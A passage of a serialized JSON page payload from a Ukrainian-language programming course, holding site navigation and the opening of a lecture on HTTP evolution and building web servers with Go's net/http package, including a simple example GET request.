продуктів","\u002Fai-core\u002Fai-native-developer\u002Fdigital-products","19.ai-core\u002F01.ai-native-developer\u002F01.digital-products",{"title":4809,"path":4810,"stem":4811},"Професія розробника програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fsoftware-developer","19.ai-core\u002F01.ai-native-developer\u002F02.software-developer",{"title":4813,"path":4814,"stem":4815},"Професія AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer\u002F03.ai-native-developer",{"title":4817,"path":4818,"stem":4819},"Вплив AI на розробку програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fai-impact-on-development","19.ai-core\u002F01.ai-native-developer\u002F04.ai-impact-on-development",{"title":4821,"path":4822,"stem":4823},"Життєвий цикл цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fproduct-lifecycle","19.ai-core\u002F01.ai-native-developer\u002F05.product-lifecycle",{"title":4825,"path":4826,"stem":4827},"Застосування AI на етапах створення цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fai-in-product-creation","19.ai-core\u002F01.ai-native-developer\u002F06.ai-in-product-creation",{"title":4829,"path":4830,"stem":4831},"Розподіл завдань між людиною та AI","\u002Fai-core\u002Fai-native-developer\u002Fhuman-vs-ai-tasks","19.ai-core\u002F01.ai-native-developer\u002F07.human-vs-ai-tasks",{"title":4833,"path":4834,"stem":4835},"Компетенції AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcompetencies","19.ai-core\u002F01.ai-native-developer\u002F08.competencies",{"title":4837,"path":4838,"stem":4839},"Карта професійного розвитку AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcareer-roadmap","19.ai-core\u002F01.ai-native-developer\u002F09.career-roadmap",{"title":4841,"icon":255,"path":4842,"stem":4843,"children":4844,"page":59},"Штучний інтелект і машинне навчання","\u002Fai-core\u002Fai-and-machine-learning","19.ai-core\u002F02.ai-and-machine-learning",[4845,4849,4853,4857,4861,4865,4869,4873,4877,4881,4885],{"title":4846,"path":4847,"stem":4848},"Штучний інтелект","\u002Fai-core\u002Fai-and-machine-learning\u002Fwhat-is-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F01.what-is-ai",{"title":4850,"path":4851,"stem":4852},"Відмінність AI від інших програмних систем","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-vs-automation","19.ai-core\u002F02.ai-and-machine-learning\u002F02.ai-vs-automation",{"title":4854,"path":4855,"stem":4856},"Завдання штучного інтелекту","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-tasks","19.ai-core\u002F02.ai-and-machine-learning\u002F03.ai-tasks",{"title":4858,"path":4859,"stem":4860},"Machine Learning","\u002Fai-core\u002Fai-and-machine-learning\u002Fmachine-learning","19.ai-core\u002F02.ai-and-machine-learning\u002F04.machine-learning",{"title":4862,"path":4863,"stem":4864},"Machine Learning Workflow","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-workflow","19.ai-core\u002F02.ai-and-machine-learning\u002F05.ml-workflow",{"title":4866,"path":4867,"stem":4868},"Типи машинного навчання","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-types","19.ai-core\u002F02.ai-and-machine-learning\u002F06.ml-types",{"title":4870,"path":4871,"stem":4872},"Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fgenerative-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F07.generative-ai",{"title":4874,"path":4875,"stem":4876},"Типи контенту, створюваного AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-content-types","19.ai-core\u002F02.ai-and-machine-learning\u002F08.ai-content-types",{"title":4878,"path":4879,"stem":4880},"Великі мовні моделі","\u002Fai-core\u002Fai-and-machine-learning\u002Flarge-language-models","19.ai-core\u002F02.ai-and-machine-learning\u002F09.large-language-models",{"title":4882,"path":4883,"stem":4884},"Можливості та обмеження Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fcapabilities-and-limitations","19.ai-core\u002F02.ai-and-machine-learning\u002F10.capabilities-and-limitations",{"title":4886,"path":4887,"stem":4888},"Сучасні AI-асистенти","\u002Fai-core\u002Fai-and-machine-learning\u002Fmodern-ai-assistants","19.ai-core\u002F02.ai-and-machine-learning\u002F11.modern-ai-assistants",{"title":4890,"icon":4891,"path":4892,"stem":4893,"children":4894,"page":59},"Постановка завдань для AI: принципи створення промптів","i-lucide-message-square-text","\u002Fai-core\u002Fprompt-engineering","19.ai-core\u002F03.prompt-engineering",[4895,4899,4903,4907,4911,4915,4919,4923],{"title":4896,"path":4897,"stem":4898},"Промпт як інструмент","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-as-tool","19.ai-core\u002F03.prompt-engineering\u002F01.prompt-as-tool",{"title":4900,"path":4901,"stem":4902},"Принципи створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-principles","19.ai-core\u002F03.prompt-engineering\u002F02.prompt-principles",{"title":4904,"path":4905,"stem":4906},"Структура промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-structure","19.ai-core\u002F03.prompt-engineering\u002F03.prompt-structure",{"title":4908,"path":4909,"stem":4910},"Види промптів за типом задачі","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-types","19.ai-core\u002F03.prompt-engineering\u002F04.prompt-types",{"title":4912,"path":4913,"stem":4914},"Прийоми посилення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-enhancement","19.ai-core\u002F03.prompt-engineering\u002F05.prompt-enhancement",{"title":4916,"path":4917,"stem":4918},"Розбір і покращення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-analysis","19.ai-core\u002F03.prompt-engineering\u002F06.prompt-analysis",{"title":4920,"path":4921,"stem":4922},"Типові помилки під час створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fcommon-mistakes","19.ai-core\u002F03.prompt-engineering\u002F07.common-mistakes",{"title":4924,"path":4925,"stem":4926},"Практикум: особиста бібліотека промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-library","19.ai-core\u002F03.prompt-engineering\u002F08.prompt-library",{"title":4928,"icon":793,"path":4929,"stem":4930,"children":4931,"page":59},"Перевірка результатів, безпека та AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow","19.ai-core\u002F04.verification-security-workflow",[4932,4936,4940,4944,4948,4952,4956,4960,4964],{"title":4933,"path":4934,"stem":4935},"Межі можливостей AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-limitations","19.ai-core\u002F04.verification-security-workflow\u002F01.ai-limitations",{"title":4937,"path":4938,"stem":4939},"Галюцинації AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-hallucinations","19.ai-core\u002F04.verification-security-workflow\u002F02.ai-hallucinations",{"title":4941,"path":4942,"stem":4943},"Критичне мислення під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fcritical-thinking","19.ai-core\u002F04.verification-security-workflow\u002F03.critical-thinking",{"title":4945,"path":4946,"stem":4947},"Перевірка результатів роботи AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresult-verification","19.ai-core\u002F04.verification-security-workflow\u002F04.result-verification",{"title":4949,"path":4950,"stem":4951},"Захист даних під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fdata-protection","19.ai-core\u002F04.verification-security-workflow\u002F05.data-protection",{"title":4953,"path":4954,"stem":4955},"Авторське право та навчальна доброчесність","\u002Fai-core\u002Fverification-security-workflow\u002Fcopyright-integrity","19.ai-core\u002F04.verification-security-workflow\u002F06.copyright-integrity",{"title":4957,"path":4958,"stem":4959},"Відповідальне використання AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresponsible-use","19.ai-core\u002F04.verification-security-workflow\u002F07.responsible-use",{"title":4961,"path":4962,"stem":4963},"AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow\u002Fai-native-workflow","19.ai-core\u002F04.verification-security-workflow\u002F08.ai-native-workflow",{"title":4965,"path":4966,"stem":4967},"Застосування AI Native Workflow під час створення цифрового продукту","\u002Fai-core\u002Fverification-security-workflow\u002Fworkflow-in-practice","19.ai-core\u002F04.verification-security-workflow\u002F09.workflow-in-practice",{"title":4969,"icon":4970,"path":4971,"stem":4972,"children":4973,"page":59},"AI Developer: Vibe Coding Sprint","i-lucide-code-xml","\u002Fai-developer","20.ai-developer",[4974,5000,5022,5043],{"title":4975,"icon":4976,"path":4977,"stem":4978,"children":4979,"page":59},"Проєктування і чорнова версія","i-lucide-pencil-ruler","\u002Fai-developer\u002Fdraft-creation","20.ai-developer\u002F01.draft-creation",[4980,4984,4988,4992,4996],{"title":4981,"path":4982,"stem":4983},"Парадигма Vibe Coding Workflow","\u002Fai-developer\u002Fdraft-creation\u002Fvibe-coding-workflow","20.ai-developer\u002F01.draft-creation\u002F01.vibe-coding-workflow",{"title":4985,"path":4986,"stem":4987},"AI-середовище швидкої розробки","\u002Fai-developer\u002Fdraft-creation\u002Fai-ide-environment","20.ai-developer\u002F01.draft-creation\u002F02.ai-ide-environment",{"title":4989,"path":4990,"stem":4991},"Користувацьке завдання та межі першої версії","\u002Fai-developer\u002Fdraft-creation\u002Fproduct-scope-and-mvp","20.ai-developer\u002F01.draft-creation\u002F03.product-scope-and-mvp",{"title":4993,"path":4994,"stem":4995},"Архітектура інтерфейсу та стани застосунку","\u002Fai-developer\u002Fdraft-creation\u002Fapplication-architecture-and-states","20.ai-developer\u002F01.draft-creation\u002F04.application-architecture-and-states",{"title":4997,"path":4998,"stem":4999},"Генерація та фіксація чорнової версії","\u002Fai-developer\u002Fdraft-creation\u002Fgenerating-draft-version","20.ai-developer\u002F01.draft-creation\u002F05.generating-draft-version",{"title":5001,"icon":5002,"path":5003,"stem":5004,"children":5005,"page":59},"Перша робоча версія","i-lucide-play-circle","\u002Fai-developer\u002Ffirst-working-version","20.ai-developer\u002F02.first-working-version",[5006,5010,5014,5018],{"title":5007,"path":5008,"stem":5009},"Уточнення контексту проєкту для AI","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-project-context","20.ai-developer\u002F02.first-working-version\u002F01.refining-project-context",{"title":5011,"path":5012,"stem":5013},"Стратегія завдань для AI-розробки","\u002Fai-developer\u002Ffirst-working-version\u002Fai-prompting-strategy","20.ai-developer\u002F02.first-working-version\u002F02.ai-prompting-strategy",{"title":5015,"path":5016,"stem":5017},"Доопрацювання до першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-to-working-version","20.ai-developer\u002F02.first-working-version\u002F03.refining-to-working-version",{"title":5019,"path":5020,"stem":5021},"Перевірка першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Ftesting-first-working-version","20.ai-developer\u002F02.first-working-version\u002F04.testing-first-working-version",{"title":5023,"icon":3072,"path":5024,"stem":5025,"children":5026,"page":59},"Ітерації, дебагінг та відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery","20.ai-developer\u002F03.iteration-debugging-recovery",[5027,5031,5035,5039],{"title":5028,"path":5029,"stem":5030},"Управління точковими змінами продукту","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fchange-management","20.ai-developer\u002F03.iteration-debugging-recovery\u002F01.change-management",{"title":5032,"path":5033,"stem":5034},"Надійність інтерфейсу та обробка помилок","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fscenario-reliability-and-errors","20.ai-developer\u002F03.iteration-debugging-recovery\u002F02.scenario-reliability-and-errors",{"title":5036,"path":5037,"stem":5038},"Керування контекстом і збереження версій","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fproject-context-and-versions","20.ai-developer\u002F03.iteration-debugging-recovery\u002F03.project-context-and-versions",{"title":5040,"path":5041,"stem":5042},"Збої AI-розробки, ліміти та аварійне відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fai-breakdowns-and-recovery","20.ai-developer\u002F03.iteration-debugging-recovery\u002F04.ai-breakdowns-and-recovery",{"title":5044,"icon":5045,"path":5046,"stem":5047,"children":5048,"page":59},"Перевірка та завершення продукту","i-lucide-check-check","\u002Fai-developer\u002Fverification-and-completion","20.ai-developer\u002F04.verification-and-completion",[5049,5053,5057],{"title":5050,"path":5051,"stem":5052},"Комплексний аудит та підсумкове тестування","\u002Fai-developer\u002Fverification-and-completion\u002Ffinal-product-testing","20.ai-developer\u002F04.verification-and-completion\u002F01.final-product-testing",{"title":5054,"path":5055,"stem":5056},"Підготовка підсумкової версії коду","\u002Fai-developer\u002Fverification-and-completion\u002Fpreparing-release-version","20.ai-developer\u002F04.verification-and-completion\u002F02.preparing-release-version",{"title":5058,"path":5059,"stem":5060},"Демонстрація, публікація та критерії оцінювання","\u002Fai-developer\u002Fverification-and-completion\u002Fproduct-showcase-and-publishing","20.ai-developer\u002F04.verification-and-completion\u002F03.product-showcase-and-publishing",{"title":5062,"path":5063,"stem":5064,"children":5065,"page":59},"Tailwind","\u002Ftailwind","21.tailwind",[5066,5070,5074,5078,5082,5086,5090,5094,5098,5102,5106,5110],{"title":5067,"path":5068,"stem":5069},"Що таке Tailwind CSS і навіщо він потрібен","\u002Ftailwind\u002Ftailwind-intro-philosophy","21.tailwind\u002F01.tailwind-intro-philosophy",{"title":5071,"path":5072,"stem":5073},"Встановлення та налаштування Tailwind CSS v4","\u002Ftailwind\u002Ftailwind-installation-setup","21.tailwind\u002F02.tailwind-installation-setup",{"title":5075,"path":5076,"stem":5077},"Utility-класи: основи та система Tailwind","\u002Ftailwind\u002Ftailwind-utility-classes-core","21.tailwind\u002F03.tailwind-utility-classes-core",{"title":5079,"path":5080,"stem":5081},"Layout: Flexbox та Grid через Tailwind","\u002Ftailwind\u002Ftailwind-flexbox-grid","21.tailwind\u002F04.tailwind-flexbox-grid",{"title":5083,"path":5084,"stem":5085},"Кастомізація теми через @theme у Tailwind v4","\u002Ftailwind\u002Ftailwind-theme-customization","21.tailwind\u002F05.tailwind-theme-customization",{"title":5087,"path":5088,"stem":5089},"Варіанти: hover, focus, responsive, dark mode та нові v4","\u002Ftailwind\u002Ftailwind-variants-states","21.tailwind\u002F06.tailwind-variants-states",{"title":5091,"path":5092,"stem":5093},"Типографіка та система кольорів у Tailwind v4","\u002Ftailwind\u002Ftailwind-typography-colors","21.tailwind\u002F07.tailwind-typography-colors",{"title":5095,"path":5096,"stem":5097},"Компоненти та повторюваність: @apply, @utility та патерни","\u002Ftailwind\u002Ftailwind-components-patterns","21.tailwind\u002F08.tailwind-components-patterns",{"title":5099,"path":5100,"stem":5101},"Темна тема та система дизайн-токенів у Tailwind v4","\u002Ftailwind\u002Ftailwind-dark-mode-theming","21.tailwind\u002F09.tailwind-dark-mode-theming",{"title":5103,"path":5104,"stem":5105},"Довільні значення та контейнерні запити у Tailwind v4","\u002Ftailwind\u002Ftailwind-arbitrary-container-queries","21.tailwind\u002F10.tailwind-arbitrary-container-queries",{"title":5107,"path":5108,"stem":5109},"Анімації, трансформації та 3D у Tailwind v4","\u002Ftailwind\u002Ftailwind-animations-transforms","21.tailwind\u002F11.tailwind-animations-transforms",{"title":5111,"path":5112,"stem":5113},"Tailwind CLI, PostCSS та інтеграція з фреймворками","\u002Ftailwind\u002Ftailwind-cli-tooling","21.tailwind\u002F12.tailwind-cli-tooling",{"title":5115,"path":5116,"stem":5117,"children":5118,"page":59},"React Typescript","\u002Freact-typescript","22.react-typescript",[5119,5144,5148,5152,5156,5160,5164,5168,5172],{"title":5120,"path":5121,"stem":5122,"children":5123,"page":59},"From Html To Project","\u002Freact-typescript\u002Ffrom-html-to-project","22.react-typescript\u002F01.from-html-to-project",[5124,5128,5132,5136,5140],{"title":5125,"path":5126,"stem":5127},"Від одного HTML-файлу до повноцінного проєкту","\u002Freact-typescript\u002Ffrom-html-to-project\u002Fevolution","22.react-typescript\u002F01.from-html-to-project\u002F01.evolution",{"title":5129,"path":5130,"stem":5131},"Що таке React","\u002Freact-typescript\u002Ffrom-html-to-project\u002Fwhat-is-react","22.react-typescript\u002F01.from-html-to-project\u002F02.what-is-react",{"title":5133,"path":5134,"stem":5135},"JSX та TSX — синтаксичний цукор, а не магія","\u002Freact-typescript\u002Ffrom-html-to-project\u002Fjsx-tsx-syntax","22.react-typescript\u002F01.from-html-to-project\u002F03.jsx-tsx-syntax",{"title":5137,"path":5138,"stem":5139},"Компоненти — будівельні блоки інтерфейсу","\u002Freact-typescript\u002Ffrom-html-to-project\u002Fcomponents","22.react-typescript\u002F01.from-html-to-project\u002F04.components",{"title":5141,"path":5142,"stem":5143},"JSX — розмітка всередині TypeScript","\u002Freact-typescript\u002Ffrom-html-to-project\u002Fjsx-expressions","22.react-typescript\u002F01.from-html-to-project\u002F05.jsx-expressions",{"title":5145,"path":5146,"stem":5147},"Хук useReducer: структуроване управління складним станом","\u002Freact-typescript\u002Fuse-reducer","22.react-typescript\u002F23.use-reducer",{"title":5149,"path":5150,"stem":5151},"Context API: передавання даних без «пропс-дрілінгу»","\u002Freact-typescript\u002Fcontext-api","22.react-typescript\u002F24.context-api",{"title":5153,"path":5154,"stem":5155},"Синхронізація з ефектами: хук useEffect та функції очищення","\u002Freact-typescript\u002Fuse-effect","22.react-typescript\u002F27.use-effect",{"title":5157,"path":5158,"stem":5159},"Можливо, вам не потрібен ефект: антипатерни та альтернативи","\u002Freact-typescript\u002Fyou-might-not-need-effect","22.react-typescript\u002F28.you-might-not-need-effect",{"title":5161,"path":5162,"stem":5163},"Життєвий цикл реактивних ефектів: мислення процесами синхронізації","\u002Freact-typescript\u002Flifecycle-of-reactive-effects","22.react-typescript\u002F29.lifecycle-of-reactive-effects",{"title":5165,"path":5166,"stem":5167},"Розділення подій та ефектів: реактивна проти нереактивної логіки","\u002Freact-typescript\u002Fseparating-events-from-effects","22.react-typescript\u002F30.separating-events-from-effects",{"title":5169,"path":5170,"stem":5171},"Видалення зайвих залежностей ефектів та оптимізація синхронізації","\u002Freact-typescript\u002Fremoving-effect-dependencies","22.react-typescript\u002F31.removing-effect-dependencies",{"title":5173,"path":5174,"stem":5175},"Кастомні хуки: повторне використання та композиція реактивної логіки","\u002Freact-typescript\u002Fcustom-hooks","22.react-typescript\u002F32.custom-hooks",{"title":5177,"path":5178,"stem":5179},"Тестування компонентів діаграм та пісочниць","\u002Ftest-components","98.test-components",{"id":5181,"title":4017,"body":5182,"description":40606,"extension":40607,"links":40608,"meta":40609,"navigation":5574,"path":4018,"seo":40610,"stem":4019,"__hash__":40611},"docs\u002F17.client-server-architecture\u002F08.http-protocol-and-web-server.md",{"type":5183,"value":5184,"toc":40495},"minimark",[5185,5189,5339,5342,5347,5367,5397,5404,5429,5436,5438,5442,5452,5463,5473,5476,5533,5536,5542,5545,7012,7015,7032,7039,7052,7055,7097,7154,7156,7160,7166,7171,7185,7199,7214,7218,7244,7247,7285,7295,7299,7323,7326,7353,7360,7364,7387,7390,7414,7424,7633,7661,7663,7667,7688,7692,7695,7701,7704,7710,7715,7744,7748,7758,7763,7820,7824,7877,7881,7920,7924,7963,7967,8001,8005,8017,8021,8039,8050,8054,8065,8069,8207,8211,8326,8338,8342,8354,8359,8365,8369,8375,8379,8389,8404,8408,8532,8536,8542,8548,8551,8557,8561,8693,8697,8702,8717,8722,8737,8741,8765,8772,8808,8814,8828,8842,8889,8893,9162,9166,9445,9449,9452,9610,9626,9628,9632,9642,9646,9649,9667,9671,9694,9698,9724,9728,9731,9736,9772,9777,9783,9788,9813,9818,9834,9839,9851,10025,10030,10198,10203,10284,10295,10299,10351,10355,10381,10407,10409,10413,10423,10427,10434,10587,10591,10596,10600,10705,10710,10716,10727,10732,10738,10741,10745,10755,10760,10766,10771,10777,10784,10790,10796,10802,10808,10812,11134,11138,11144,11149,11155,11160,11166,11172,11182,11184,11188,11197,11201,11206,11212,11217,11240,11243,11249,11256,11262,11266,11690,11694,11699,11705,11708,11714,11720,12089,12093,12099,12105,12108,12116,12118,12125,12131,12137,12146,12189,12195,12200,12248,12254,12257,12437,12454,12461,12468,12512,12519,12528,12534,12553,13150,13154,13160,13235,13252,13262,13266,13269,13623,13627,13637,13649,13719,13723,13726,14424,14430,14433,16275,16279,16282,16391,16404,16461,16545,16547,16554,16560,16568,16573,16912,16920,17026,17031,17332,17339,17349,17373,17380,17582,17587,17935,17959,17966,17978,18036,18051,18056,18758,18781,18787,19191,19196,19460,19465,19701,19709,19714,19817,19821,20090,20100,20104,20116,20125,20152,20155,20448,20457,20505,20508,20729,20738,20783,20786,20976,20985,20992,20996,21329,21334,21535,21541,21546,21896,21902,22120,22125,22848,22855,23017,23022,23082,23087,23576,23582,23587,23711,23716,23893,23898,24137,24142,25144,25151,25156,25448,25453,25850,25857,26031,26036,26463,26467,26473,26477,26664,26669,27179,27183,27298,27302,27473,27477,27586,27590,27715,27719,28150,28155,28235,28239,28243,28249,28253,28713,28717,28727,28967,28974,28978,29476,29481,29512,29532,29536,29543,29753,29756,29762,29764,29766,29773,29790,29799,30432,30436,30441,30447,30452,30455,30461,30467,30473,30479,30488,30490,30494,30505,30518,30529,30539,30657,30659,30663,30666,30670,30676,30682,30688,30927,30931,30936,31180,31184,31192,31717,31722,31761,31767,31770,31889,31892,32251,32257,32262,32767,32771,32797,32815,32817,32821,32828,32848,32852,32905,32912,32916,33169,33176,33191,33195,33198,33202,33212,33231,33375,33379,33389,33394,33443,33450,33455,33762,33776,33780,33790,33810,33817,33821,33839,33858,33865,33874,33876,33880,33892,33896,34231,34237,34241,34244,34495,34499,34509,34529,34533,34539,34545,34551,34557,34563,34577,34580,34586,34589,34595,34601,34605,34617,34685,34691,34710,34714,34717,35529,35533,35612,35622,35624,35628,35640,35659,35663,35914,35921,35935,35937,35941,35949,35953,36439,36442,36457,36460,36466,36476,36478,36482,36488,39315,39319,39322,39336,39341,39353,39356,39491,39496,39529,39532,39590,39595,39607,39612,39628,39631,39633,39637,39641,39647,39820,39823,39892,39896,39995,40001,40003,40007,40287,40289,40293,40296,40477,40491],[5186,5187,4017],"h1",{"id":5188},"протокол-http-та-стандартний-вебсервер-go",[5190,5191,5192,5286],"card-group",{},[5193,5194,5197],"card",{"icon":5195,"title":5196},"i-lucide-graduation-cap","🎯 Навчальні цілі",[5198,5199,5200,5209,5216,5232,5252,5259,5269,5280,5283],"ul",{},[5201,5202,5203,5204,5208],"li",{},"Усвідомити історичну ",[5205,5206,5207],"strong",{},"еволюцію протоколу HTTP"," від HTTP\u002F1.0 через HTTP\u002F1.1 та HTTP\u002F2 до найновішого HTTP\u002F3 на базі транспорту QUIC, і зрозуміти мотивацію кожного кроку цієї еволюції.",[5201,5210,5211,5212,5215],{},"Розібрати детальну ",[5205,5213,5214],{},"анатомію HTTP-запитів та відповідей",": стартовий рядок, методи (GET, POST, PUT, PATCH, DELETE), версію протоколу, статус-коди, керуючі заголовки та тіло повідомлення.",[5201,5217,5218,5219,5222,5223,5226,5227,5231],{},"Опанувати концепції ",[5205,5220,5221],{},"ідемпотентності"," та ",[5205,5224,5225],{},"безпеки"," (",[5228,5229,5230],"em",{},"safe methods",") HTTP-методів і зрозуміти, чому ці властивості критичні для проєктування надійних клієнт-серверних API.",[5201,5233,5234,5235,5239,5240,5243,5244,5247,5248,5251],{},"Вивчити стандартний пакет ",[5236,5237,5238],"code",{},"net\u002Fhttp"," мови Go: центральний інтерфейс ",[5236,5241,5242],{},"http.Handler",", його реалізацію через функції ",[5236,5245,5246],{},"http.HandlerFunc",", стандартний роутер ",[5236,5249,5250],{},"http.ServeMux"," та його сучасні можливості маршрутизації (Go 1.22+).",[5201,5253,5254,5255,5258],{},"Навчитися створювати кастомний ",[5236,5256,5257],{},"http.Server"," із точним налаштуванням таймаутів читання\u002Fзапису, розмірів буферів, параметрів Keep-Alive та інтеграції TLS-сертифікатів.",[5201,5260,5261,5262,5222,5265,5268],{},"Зрозуміти, як Go-рантайм обробляє HTTP-запити: модель «одна горутина на запит», внутрішній пул буферів, потокове введення\u002Fвиведення через інтерфейси ",[5236,5263,5264],{},"io.Reader",[5236,5266,5267],{},"io.Writer",".",[5201,5270,5271,5272,5275,5276,5279],{},"Опанувати обробку різних типів HTTP-запитів: читання параметрів URL, заголовків, форм ",[5236,5273,5274],{},"application\u002Fx-www-form-urlencoded",", багатокомпонентних форм ",[5236,5277,5278],{},"multipart\u002Fform-data"," та потокового тіла запиту.",[5201,5281,5282],{},"Побачити еволюцію від елементарного TCP-сервера, який вручну формує HTTP-відповіді, до використання зручних абстракцій стандартної бібліотеки, щоб усвідомити цінність готових бібліотек.",[5201,5284,5285],{},"Навчитися організовувати коректне завершення роботи HTTP-сервера (Graceful Shutdown) при отриманні сигналів операційної системи.",[5193,5287,5289],{"icon":255,"title":5288},"🛠️ Технологічний стек",[5198,5290,5291,5297,5324,5330],{},[5201,5292,5293,5296],{},[5205,5294,5295],{},"Мова:"," Go 1.22+",[5201,5298,5299,5302,5303,5305,5306,5305,5309,5305,5312,5305,5315,5305,5318,5305,5321],{},[5205,5300,5301],{},"Пакети стандартної бібліотеки:"," ",[5236,5304,5238],{},", ",[5236,5307,5308],{},"net",[5236,5310,5311],{},"io",[5236,5313,5314],{},"bufio",[5236,5316,5317],{},"context",[5236,5319,5320],{},"crypto\u002Ftls",[5236,5322,5323],{},"os\u002Fsignal",[5201,5325,5326,5329],{},[5205,5327,5328],{},"Інструменти діагностики:"," cURL, Postman, HTTPie, браузер Developer Tools, Wireshark",[5201,5331,5332,5302,5335,5338],{},[5205,5333,5334],{},"Тестування:",[5236,5336,5337],{},"net\u002Fhttp\u002Fhttptest"," для модульних тестів HTTP-обробників",[5340,5341],"hr",{},[5343,5344,5346],"h2",{"id":5345},"від-tcp-сокетів-до-http-чому-потрібен-прикладний-протокол","Від TCP-сокетів до HTTP: чому потрібен прикладний протокол",[5348,5349,5350,5351,5354,5355,5358,5359,5362,5363,5366],"p",{},"У попередніх лекціях ми детально розібрали роботу з ",[5205,5352,5353],{},"TCP-сокетами"," на низькому рівні: створювали слухача за допомогою ",[5236,5356,5357],{},"net.Listen",", приймали з'єднання через ",[5236,5360,5361],{},"Accept()",", читали та записували байти в потік ",[5236,5364,5365],{},"net.Conn",", проєктували власні протоколи прикладного рівня з розділювачами або префіксами довжини повідомлення. Ми навчилися будувати базові сервери, які можуть обмінюватися текстовими командами або бінарними структурами даних із клієнтами.",[5348,5368,5369,5370,5372,5373,5376,5377,5380,5381,5384,5385,5376,5388,5390,5391,5376,5394,5268],{},"Але уявіть собі наступну ситуацію: ви створили REST API для мобільного застосунку, і вам потрібно забезпечити можливість клієнту на ",[5205,5371,3551],{}," отримувати список товарів, завантажувати зображення, відправляти форми реєстрації, аутентифікуватися через токени, обмінюватися JSON-даними. Десктопний застосунок на ",[5205,5374,5375],{},"JavaFX"," або ",[5205,5378,5379],{},"C# Avalonia"," повинен підключатися до того самого API. Браузерний клієнт працює через JavaScript ",[5236,5382,5383],{},"fetch()",". CLI-утиліта на ",[5205,5386,5387],{},"Go",[5205,5389,2738],{}," надсилає запити через бібліотеки ",[5236,5392,5393],{},"http.Client",[5236,5395,5396],{},"requests",[5348,5398,5399,5400,5403],{},"Якби кожен клієнт використовував власний кастомний протокол поверх TCP, вам довелося б писати окремий парсер для кожної платформи, домовлятися про формат повідомлень, обробляти помилки, керувати станом з'єднання, стежити за версіонуванням протоколу. Це було б величезною інженерною катастрофою, яка унеможливлює інтероперабельність (",[5228,5401,5402],{},"interoperability",") — здатність різних систем працювати разом без спеціальних налаштувань.",[5348,5405,5406,5407,5226,5410,5413,5414,5226,5417,5420,5421,5424,5425,5428],{},"Саме тому у 1991 році ",[5205,5408,5409],{},"Тім Бернерс-Лі",[5228,5411,5412],{},"Tim Berners-Lee",") створив перший стандартизований протокол прикладного рівня для передачі гіпертекстових документів — ",[5205,5415,5416],{},"HyperText Transfer Protocol",[5228,5418,5419],{},"HTTP","). Початкова версія HTTP\u002F0.9 була надзвичайно простою: клієнт відправляв один рядок ",[5236,5422,5423],{},"GET \u002Findex.html",", сервер повертав HTML-документ і закривав з'єднання. Але ця проста ідея поклала початок стандарту, який сьогодні використовується ",[5205,5426,5427],{},"мільярдами пристроїв"," по всьому світу — від смартфонів та розумних телевізорів до промислових IoT-сенсорів та серверів дата-центрів.",[5430,5431,5432,5435],"note",{},[5205,5433,5434],{},"HTTP як універсальна мова інтернету:"," Протокол HTTP став настільки універсальним, що навіть системи, які не мають жодного відношення до вебсторінок, використовують його як транспорт. REST API, GraphQL, WebHooks, серверні події (Server-Sent Events), навіть деякі реалізації RPC-систем працюють поверх HTTP. Причина проста: HTTP стандартизований, підтримується всіма мовами програмування та платформами, має широкий інструментарій для налагодження, і його розуміють усі інженери.",[5340,5437],{},[5343,5439,5441],{"id":5440},"демонстрація-елементарний-http-сервер-на-чистому-tcp","Демонстрація: елементарний HTTP-сервер на чистому TCP",[5348,5443,5444,5445,5447,5448,5451],{},"Перш ніж переходити до зручних абстракцій стандартного пакета ",[5236,5446,5238],{},", давайте побудуємо ",[5205,5449,5450],{},"мінімальний HTTP-сервер вручну"," на базі TCP-сокетів, щоб студент міг побачити, що саме відбувається «під капотом» і чому використання готової бібліотеки є значно кращим рішенням.",[5348,5453,5454,5455,5458,5459,5462],{},"HTTP\u002F1.1 — це ",[5205,5456,5457],{},"текстовий протокол",", побудований поверх TCP. Кожен запит та відповідь складаються з текстових рядків, розділених послідовністю символів ",[5236,5460,5461],{},"\\r\\n"," (Carriage Return + Line Feed). Ось приклад найпростішого HTTP-запиту, який браузер відправляє серверу:",[5464,5465,5470],"pre",{"className":5466,"code":5468,"language":5469},[5467],"language-text","GET \u002Fhello HTTP\u002F1.1\\r\\n\nHost: localhost:8080\\r\\n\n\\r\\n\n","text",[5236,5471,5468],{"__ignoreMap":5472},"",[5348,5474,5475],{},"Розберемо 